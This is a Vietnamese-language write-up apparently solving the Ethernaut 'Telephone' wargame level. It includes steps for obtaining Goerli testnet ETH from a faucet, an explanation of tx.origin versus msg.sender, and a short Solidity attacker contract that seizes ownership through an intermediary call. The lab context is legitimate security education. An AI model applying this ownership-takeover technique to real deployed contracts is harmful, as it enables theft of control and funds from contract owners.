

## Telephone


1. Thực hiện việc kiểm ETH:

Sử dụng: <https://goerli-faucet.pk910.de/> - để lấy được một số ETH cho ví bằng cách:

- + Điền ETH address của mình vào:

## Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



`0x92141B14ddB92C256eFB3f1F464b042164570Af9`

- + Sau đó start Mining:

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.



Target Address:

0x92141B14ddb92C256eFB3f1F464b042164570Af9

Your Mining Reward:

0 GöETH

Current Hashrate:

0 H/s

Number of Workers:

0 / 4

+

-

Minimum Claim Reward:

0.02 GöETH

Maximum Claim Reward:

1 GöETH

Remaining Session Time:

11h 59min

Total Shares:

0

Avg. Reward per Hour:

0 GöETH/h

Reward Boost:

+ 0%

Boost

Stop Mining

- + Trong trường hợp máy lag hoặc muốn tăng công suất có thể thêm và giảm bớt công việc tại Number of Workers.

- + Đến khi kiểm đủ số lượng có thể rút thì có thể dừng lại và nhận ETH

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

## Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9  
Amount: 0.037 GÖETH  
Timeout: 2023-08-11 20:21 (23h 47min)  
Captcha:



Tôi không phải là người  
máy



reCAPTCHA  
Bảo mật - Điều khoản

Claim Rewards

# Goerli PoW Faucet

The goerli testnet is [deprecated](#) and will be shut down at the end of the year! Move over to the sepolia testnet for anything except validator testing.

## Claim Rewards

Wallet: 0x92141B14ddb92C256eFB3f1F464b042164570Af9  
Amount: 0.037 GÖETH  
Timeout: -

Claim Transaction has been confirmed in block #9494425!

TX: [0xee3c472ae50e02f9a46b354ce2e18e02b83fa546079f95b3f392042e5e457d6b](#)

Did you like the faucet? Give that project a



1,713

Or support this faucet by sharing your result with a



Tweet



Post

[Return to startpage](#)

=> Và ta đã có đủ số ETH để tiếp tục tham ra vào Ethernaut

## 2. Xác định yêu cầu đề bài:

Claim ownership of the contract below to complete this level.

Things that might help

See the "?" page above, section "Beyond the console"

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}
```

Tiếp tục là phải giành quyền sở hữu hợp đồng.

### 3. Giải quyết bài toán

Ta có thể thấy rằng để có thể dành quyền sở hữu hợp đồng khi sử dụng changeOwner thì tx.origin phải khác msg.sender

Theo trang

<https://www.oreilly.com/library/view/solidity-programming-essentials/9781788831383/3d3147d9-f79f-4a0e-8c9f-befee5897083.xhtml>

Ta có :

## Difference between tx.origin and msg.sender

Careful readers might have noticed in the previous code illustration that both tx.origin and msg.sender show the same result and output. The tx.origin global variable refers to the original external account that started the transaction while msg.sender refers to the immediate account (it could be external or another contract

account) that invokes the function. The `tx.origin` variable will always refer to the external account while `msg.sender` can be a contract or external account. If there are multiple function invocations on multiple contracts, `tx.origin` will always refer to the account that started the transaction irrespective of the stack of contracts invoked. However, `msg.sender` will refer to ...

- `msg.sender` ( `address` ): sender of the message (current call)
- `msg.sig` ( `bytes4` ): first four bytes of the calldata (i.e. function identifier)
- `msg.value` ( `uint` ): number of wei sent with the message
- `tx.gasprice` ( `uint` ): gas price of the transaction
- `tx.origin` ( `address` ): sender of the transaction (full call chain)

Điều này nhằm đến việc sử dụng `tx.origin` để ủy quyền là một sai lầm, vì khi truy cập vào một hợp đồng khác có thể có một phương thức sẽ gọi hợp đồng của bạn và hợp đồng của bạn sẽ ủy quyền giao dịch đó vì địa chỉ của bạn ở `tx.origin`.

=> Ta phải tạo một hợp đồng trung gian trên Remix để thực hiện ủy quyền.

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.0;
3
4 import './telephone.sol';
5
6 contract telephoneAttack{
7
8     Telephone public TelephoneContract;
9
10    constructor(address _telephoneContractAddress) {
11        TelephoneContract = Telephone(_telephoneContractAddress);
12    }
13
14    function exploit() public {
15        TelephoneContract.changeOwner(msg.sender);
16    }
17 }
```

```
(\_/)\_/_)_ Submitting level instance... < < <<PLEASE WAIT>> > >
```

```
< Sent transaction < https://goerli.etherscan.io/tx/0xa1dc76f...
```

```
< Mined transaction < https://goerli.etherscan.io/tx/0xa1dc76f...
```